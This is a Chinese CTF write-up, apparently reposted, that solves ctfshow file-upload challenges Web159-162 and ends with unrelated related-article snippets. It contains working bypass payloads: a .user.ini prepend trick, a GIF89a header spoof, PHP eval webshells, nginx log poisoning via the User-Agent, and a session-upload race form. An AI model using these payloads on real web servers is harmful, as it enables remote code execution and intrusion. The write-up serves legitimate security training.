ctfshow(159->162)--文件上传漏洞

Web159

考点:

前端校验+MIME验证+黑名单

思路:

上传.user.ini文件:
文件内容auto_prepend_file=shell.png
由于网页存在前端过滤,只允许上传.png文件,所以我们将文件名修改为.user.ini.png上传,然后抓包删除.png后缀名,就能成功上传了。
在这里插入图片描述然后上传shell.png:
文件内容:<?php @eval($_POST['cmd']);?>
在这里插入图片描述不出所料被过滤了。抓包测试一下过滤了哪些字符。
在这里插入图片描述
由于[]和{}都被过滤了,不能上传一句话木马,直接进行RCE。
又因为括号(也被过滤,所以选择用反引号执行系统命令。

<?=`ls ../`?>
<?=`tac ../fla*`?>

访问/upload目录,得到flag.

Web160

思路:

上传.user.ini文件:
在这里插入图片描述上传shell.png文件:
文件内容<?php @eval($_POST['cmd']);?>
上传失败,抓包测试过滤了什么:
在这里插入图片描述

过滤了{}和[],所以不能使用一句话木马。
过滤了()和反引号,不能直接进行RCE。
考虑使用日志注入,由于过滤了log,所以拼接绕过:

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

在这里插入图片描述

修改UA为:<?php eval($_POST[1]);?>
POST传参:
1=system('ls ../');
1=system('tac ../fla*');

得到flag.

也可以蚁剑连接(要在修改后的UA头写入之后连接,不然日志文件中没有PHP代码)
在这里插入图片描述
在这里插入图片描述
得到flag.

Web161

思路:

上传.user.ini文件,显示文件上传不合规:
在这里插入图片描述其实是添加了文件头校验:

检查上传的文件时,只检查文件的后缀是不够的,还需要检测文件头是否合法。每一种类型的文件都有不同的文件头。文件头的作用其实与后缀很像,都是用于提示文件类型,可以理解为文件的前缀。

所以我们在文件内容前添加 GIF89a ,也就是GIF文件的文件头来绕过检测:

.user.ini文件内容:

GIF89a
auto_prepend_file=shell.png

在这里插入图片描述上传成功!

上传shell.png文件:

GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

上传成功!

修改UA为:<?php eval($_POST[1]);?>
POST传参:
1=system('ls ../');
1=system('tac ../fla*');

得到flag.

Web162

思路:

上传.user.ini文件,上传失败,进行fuzz测试:
在这里插入图片描述
过滤了相当多的字符
[]和{}被过滤,不能直接传一句话木马。
() " ' . 都被过滤,不能进行RCE。
这里看到点.被过滤了,所以我们不能正常上传文件与进行日志包含。
选择session条件竞争的做法。

GIF89a
auto_prepend_file=/tmp/sess_shell  //上传shell.png文件时记得将后缀名去掉

在这里插入图片描述
上传成功!(注:fuzz测试显示下划线_和/也被过滤,但是不知道为什么对上传没有影响)

准备一个上传数据包的网页:

<!DOCTYPE html>
<html>
<body>
<form action="http://67371c84-3fd6-4832-9fa5-fd0dcaedcd64.challenge.ctf.show/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('tac ../f*')?>") /><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html>

后续操作暂时没有进行成功,先将思路贴在这里:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/58633.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用pytest单元测试框架执行单元测试

Pytest 是一个功能强大且灵活的 Python 单元测试框架&#xff0c;它使编写、组织和运行测试变得更加简单。以下是 Pytest 的一些主要特点和优点&#xff1a; 简单易用&#xff1a;Pytest 提供了简洁而直观的语法&#xff0c;使编写测试用例变得非常容易。它支持使用 assert 语…

可视化平台FineBI的安装及简单使用

本章知识简介 主线B: 安装FineBI 主线C: FineBI的使用. 本章目标&#xff1a; 1:了解FineBI的安装; [了解]"傻瓜式"安装 2:知道FineBI的使用流程; [了解]a.连接数据b.创建组件与分析数据c.可视化组件d.添加交互效果e.制作仪表板 3:知道如何连接数据; [重点]添加业…

推荐一款优秀的pdf编辑器:Ashampoo PDF Pro

Ashampoo PDF Pro是管理和编辑 PDF 文档的完整解决方案。程序拥有您创建、转换、编辑和保护文档所需的一切功能。根据需要可以创建特定大小的文档&#xff0c;跨设备可读&#xff0c;还可以保护文件。现在您还能像编辑Word文档一样编辑PDF! 软件特点 轻松处理文字 如 Microso…

云原生后端开发教程

云原生后端开发教程 引言 随着云计算的普及&#xff0c;云原生架构逐渐成为现代软件开发的主流。云原生不仅仅是将应用部署到云上&#xff0c;而是一种构建和运行应用的方式&#xff0c;充分利用云计算的弹性和灵活性。本文将深入探讨云原生后端开发的核心概念、工具和实践&a…

XQT_UI 组件|02| 按钮 XPushButton

XPushButton 使用文档 简介 XPushButton 是一个自定义的按钮类&#xff0c;基于 Qt 框架构建&#xff0c;提供了丰富的样式和功能选项。它允许开发者轻松创建具有不同外观和行为的按钮&#xff0c;以满足用户界面的需求。 特性 颜色设置&#xff1a;支持多种颜色选择。样式设…

Linux线程安全(二)条件变量实现线程同步

目录 条件变量 条件变量初始化和唤醒 键盘触发条件变量唤醒线程demo 条件变量的等待 条件变量定时等待demo 条线变量实现多线程间的同步 条件变量 条件变量是为了控制多个线程的同步工作而设计的 比如说一个系统中有多个线程的存在但有且仅有一个线程在工作&#xff0c…

python的lambda实用技巧

lambda表达式 lambda表达式是一种简化的函数表现形式&#xff0c;也叫匿名函数&#xff0c;可以存在函数名也可以不存在。 使用一行代码就可以表示一个函数&#xff1a; # 格式 lambda arg[参数] : exp[表现形式] # 无参写法 lambda : "hello" # 一般写法 lambda …

复现第一周24

1.[SWPUCTF 2021 新生赛]gift_F12 1&#xff09;打开题目 2&#xff09;看源码 3&#xff09;直接ctrl&#xff0b;f搜索flag 2.[SWPUCTF 2021 新生赛]nc签到 1&#xff09;开题 2&#xff09;下载附件用记事本打开 3&#xff09;打开kali使用nc连接代码 输入l\s命令绕过黑名…

开发流程初学者指南——需求分析

目录 从零开始理解需求分析什么是需求分析&#xff1f;需求分析的目标需求分析的基本原则需求分析的各个阶段需求分析的常用方法和工具编写需求文档总结 从零开始理解需求分析 需求分析是软件开发过程中不可或缺的一环&#xff0c;它帮助我们明确用户的需求&#xff0c;确保最…

大模型,多模态大模型面试【LoRA,分类,动静态数据类型,DDPM,ControlNet,IP-Adapter, Stable Diffusion】

大模型&#xff0c;多模态大模型面试【LoRA&#xff0c;分类&#xff0c;动静态数据类型&#xff0c;DDPM&#xff0c;ControlNet&#xff0c;IP-Adapter, Stable Diffusion】 问题一&#xff1a;LoRA是用在节省资源的场景下&#xff0c;那么LoRA具体是节省了内存带宽还是显存呢…

数据结构之链式结构二叉树的实现(进阶版)

本篇文章主要讲解链式二叉树的层序遍历以及判断是否为一棵完全二叉树 二者将会用到之前学过的队列知识&#xff0c;是将队列和二叉树的整合 一、如何将之前已经写好的文件加入当前的编译界面 如图所示&#xff0c;打开我们需要加入文件所在的文件夹&#xff0c;找到我们要加…

StructRAG简介

StructRAG是一种新型的框架&#xff0c;旨在提升大型语言模型&#xff08;LLMs&#xff09;在知识密集型推理任务中的性能。它通过推理时的混合信息结构化机制&#xff0c;根据任务需求以最合适的格式构建和利用结构化知识。 以下是StructRAG的核心组成部分和工作流程&#xff…

Windows Server NTFS磁盘变RAM的处理过程

问题描述 客户服务器的磁盘数据爆满&#xff0c;需要将磁盘进行扩容&#xff0c;因为是虚拟机所以先在虚拟化平台上将原来的磁盘空间改大&#xff0c;再进入系统&#xff0c;在磁盘管理器上将需要扩容的磁盘进行扩展。扩展完后系统报文件系统有问题&#xff0c;扩容的磁盘容量…

如何让反向代购客户享受丝滑般的下单之旅?

想象一下&#xff0c;一键下单&#xff0c;轻松购物&#xff0c;仿佛穿越时空的魔法&#xff0c;让中国好货瞬间触手可及&#xff01;从made in china的美妆神器到潮流服饰&#xff0c;从尖端数码产品到温馨家居用品&#xff0c;从令人垂涎的美食到贴心的母婴用品&#xff0c;这…

解决Selenium的3大痛点!这款工具让你的自动化测试效率翻倍!

相信使用过Selenium WebDriver的小伙伴对其最大的诟病有3点&#xff0c;一是浏览器的driver和版本对应问题&#xff0c;第二是Selenium的执行速度&#xff0c;最后一个槽点是对页面元素文本值的断言非常不便。 在我们长期维护大量UI自动化测试用例的过程中这些痛点会让我们耗费…

5G基础知识

什么是 FDD 频分双工&#xff08;Frequency Division Duplexing&#xff09;&#xff0c;理解起来很简单&#xff0c;就是把上行和下行业务隔离在两个频段&#xff0c;互不干扰。 而 TDD 时分双工&#xff08;Time-Division Duplexing&#xff09;&#xff0c;是指上行下业务完…

使用 Elastic Observability 监控 dbt 管道

作者&#xff1a;来自 Elastic Almudena Sanz Oliv•Tamara Dancheva 了解如何使用 Elastic 设置 dbt 监控系统&#xff0c;该系统可主动发出数据处理成本峰值、每张表的行数异常以及数据质量测试失败的警报。 在 Elastic 可观察性组织内的数据分析团队中&#xff0c;我们使用 …

网站攻击,XSS攻击的类型

XSS&#xff08;跨站脚本&#xff09;攻击是一种网络安全攻击方式&#xff0c;攻击者通过在网站页面中注入恶意脚本&#xff0c;使脚本在其他用户的浏览器中执行&#xff0c;从而窃取用户信息、篡改页面内容或操控用户账户。这类攻击通常利用网站对输入数据的过滤不严格&#x…

2023年信息安全工程师摸底测试卷

目录 1.密码算法 2.等级保护 3.密码学 4.安全评估 5.网络安全控制技术 6.恶意代码 7.身份认证 8.资产管理 9.密码分类 10.被动攻击 11.商用密码服务​编辑 12.超文本传输协议 13.数字水印技术 14.信息系统安全设计 15.重放攻击 16.信息资产保护 17.身份认证 …